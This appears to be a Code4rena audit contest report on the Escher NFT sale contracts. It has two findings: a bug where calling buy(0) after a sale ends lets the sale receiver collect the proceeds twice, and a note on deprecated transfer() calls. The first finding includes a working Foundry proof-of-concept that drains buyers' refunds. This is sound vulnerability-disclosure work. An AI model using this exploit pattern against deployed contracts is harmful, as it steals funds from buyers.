Platform: Code4rena
Start Date: 06/12/2022
Pot Size: $36,500 USDC
Total HM: 16
Participants: 119
Period: 3 days
Judge: berndartmueller
Total Solo HM: 2
Id: 189
League: ETH
Rank: 62/119
Findings: 2
Award: $50.22
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: immeas
Also found by: 0x52, 0xDecorativePineapple, AkshaySrivastav, HollaDieWaldfee, aviggiano, bin2chen, cryptonue, evan, ey88, fs0c, gzeon, hansfriese, hihen, jayphbee, minhquanym, pauliax, reassor, saian, wait
49.6134 USDC - $49.61
https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L58
Sale creator and feeReceiver can get the sale amount multiple times, hence stealing from the bidders/buyers in LPDA
contract.
In the buy
function a buyer can place bids with amount greater than the current price of the nft and the contract would refund them the remaining amount as the price of the nft drops with time.
When the last nft is sold, the function would come to the following condition and the totalSale amount would be distributed between saleReceiver
and feeReceiver
.
if (newId == temp.finalId) { sale.finalPrice = uint80(price); uint256 totalSale = price * amountSold; uint256 fee = totalSale / 20; ISaleFactory(factory).feeReceiver().transfer(fee); temp.saleReceiver.transfer(totalSale - fee); _end(); }
There are two bugs in the buy
function in LDPA.sol
contract:
_amount
argument is 0.finalId
is equal to the currentId
.These bugs can be misused to call the buy
function with 0
_amount after all the nfts are minted. Calling this would pass all the checks and would come in the above condition where the totalSale amount would be distributed again between saleReceiver
and feeReceiver
.
This call can be done multiple times and the totalSale would be distributed multiple times till there is not enough ETH to make the calls.
Assume a scenario with the following sale details:
lpdaSale = LPDA.Sale({ currentId: uint48(0), finalId: uint48(10), edition: address(edition), startPrice: uint80(uint256(1 ether)), finalPrice: uint80(uint256(0.1 ether)), dropPerSecond: uint80(uint256(0.1 ether) / 1 days), startTime: uint96(block.timestamp), saleReceiver: payable(address(69)), endTime: uint96(block.timestamp + 2 days) });
Now alice wants to buy the nfts so she places bids at 2 ether for each nft even when the startprice is 1 ether, knowing that she will get the remaining amount back after the bid ends.
In buy
function the value of newId
after the nfts are minted would be 10
which would be equal to temp.finalId
, this would make the function go in the if statement discussed above and would transfer the totalSale between saleReceiver
and feeReceiver
.
Now a malicious user , saleReceiver
or feeReceiver
(for their own profit) can call the buy function again with 0
as the argument, this would pass all the checks and the function would transfer the totalSale again between saleReceiver
and feeReceiver
as there are enough ETH in the contract.
If after the bid ends , alice would try to call the refund function, it would revert because there isn’t enough money in the contract.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "forge-std/Test.sol"; import {EscherTest} from "./utils/EscherTest.sol"; import {LPDAFactory, LPDA} from "src/minters/LPDAFactory.sol"; contract LPDABase is EscherTest { LPDAFactory public lpdaSales; LPDA.Sale public lpdaSale; function setUp() public virtual override { super.setUp(); lpdaSales = new LPDAFactory(); // set up a LPDA Sale lpdaSale = LPDA.Sale({ currentId: uint48(0), finalId: uint48(10), edition: address(edition), startPrice: uint80(uint256(1 ether)), finalPrice: uint80(uint256(0.1 ether)), dropPerSecond: uint80(uint256(0.1 ether) / 1 days), startTime: uint96(block.timestamp), saleReceiver: payable(address(69)), endTime: uint96(block.timestamp + 2 days) }); } } contract LPDATest is LPDABase { LPDA public sale; event End(LPDA.Sale _saleInfo); function test_LPDA() public { address alice = vm.addr(1); vm.label(address(alice),"Alice"); vm.deal(alice , 50 ether); // make the lpda sales contract sale = LPDA(lpdaSales.createLPDASale(lpdaSale)); // authorize the lpda sale to mint tokens edition.grantRole(edition.MINTER_ROLE(), address(sale)); //lets buy an NFT vm.prank(alice); sale.buy{value: 20 ether}(10); emit log_named_decimal_uint( "Sale Receiver balance before hack", address(69).balance,18); emit log_named_decimal_uint( "Sale balance before hack", address(sale).balance,18); vm.warp(block.timestamp + 1 days); sale.buy(0); // [bug here] emit log_named_decimal_uint( "Sale Receiver balance after hack", address(69).balance,18); emit log_named_decimal_uint( "Sale balance after hack", address(sale).balance,18); emit log_named_decimal_uint( "Alice balance", address(alice).balance,18); vm.warp(block.timestamp + 3 days); vm.prank(alice); vm.expectRevert(); sale.refund(); // alice won't be able to get the refund as there is no money left in the contract } }
Output
[PASS] test_LPDA() (gas: 723831) Logs: Sale Receiver balance before hack: 9.500000000000000000 Sale balance before hack: 10.000000000000000000 Sale Receiver balance after hack: 19.000000000000000000 Sale balance after hack: 0.000000000000000000 Alice balance: 30.000000000000000000
Sale receiver should receive 9.5 ETH but got 19 and now alice(the buyer) won’t be able to get the refund
Creating a revert statement at the begining which would revert the transaction if currentId == finalId
should work.
#0 - c4-judge
2022-12-12T09:58:59Z
berndartmueller marked the issue as duplicate of #16
#1 - c4-judge
2023-01-04T10:13:58Z
berndartmueller marked the issue as satisfactory
#2 - C4-Staff
2023-01-10T22:21:33Z
JeeberC4 marked the issue as duplicate of #441
🌟 Selected for report: RaymondFam
Also found by: 0xdeadbeef0x, 0xhacksmithh, AkshaySrivastav, Awesome, Bnke0x0, CRYP70, HollaDieWaldfee, JC, Parth, Rahoz, Tutturu, __141345__, ahmedov, ajtra, asgeir, aviggiano, bin2chen, btk, carrotsmuggler, cccz, chaduke, cryptonue, dic0de, fatherOfBlocks, fs0c, hansfriese, jonatascm, karanctf, ladboy233, lumoswiz, martin, obront, pashov, pauliax, rvierdiiev, shark, simon135, supernova, tourist, yellowBirdy, zapaz, zaskoh
0.6136 USDC - $0.61
https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/OpenEdition.sol#L92 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L85 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L86 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/LPDA.sol#L105 https://github.com/code-423n4/2022-12-escher/blob/main/src/minters/FixedPrice.sol#L109
The use of the deprecated transfer()
 function for an address will inevitably make the transaction fail when:
Additionally, using higher than 2300 gas might be mandatory for some multisig wallets.
./OpenEdition.sol:92: ISaleFactory(factory).feeReceiver().transfer(address(this).balance / 20); ./LPDA.sol:85: ISaleFactory(factory).feeReceiver().transfer(fee); ./LPDA.sol:86: temp.saleReceiver.transfer(totalSale - fee); ./LPDA.sol:105: payable(msg.sender).transfer(owed); ./FixedPrice.sol:109: ISaleFactory(factory).feeReceiver().transfer(address(this).balance / 20);
It would be better to use call
instead of transfer and add a reentrancyGuard modifier to stay protected from any reentrancy bugs.
#0 - c4-judge
2022-12-10T00:29:30Z
berndartmueller marked the issue as duplicate of #99
#1 - c4-judge
2023-01-03T12:45:17Z
berndartmueller marked the issue as satisfactory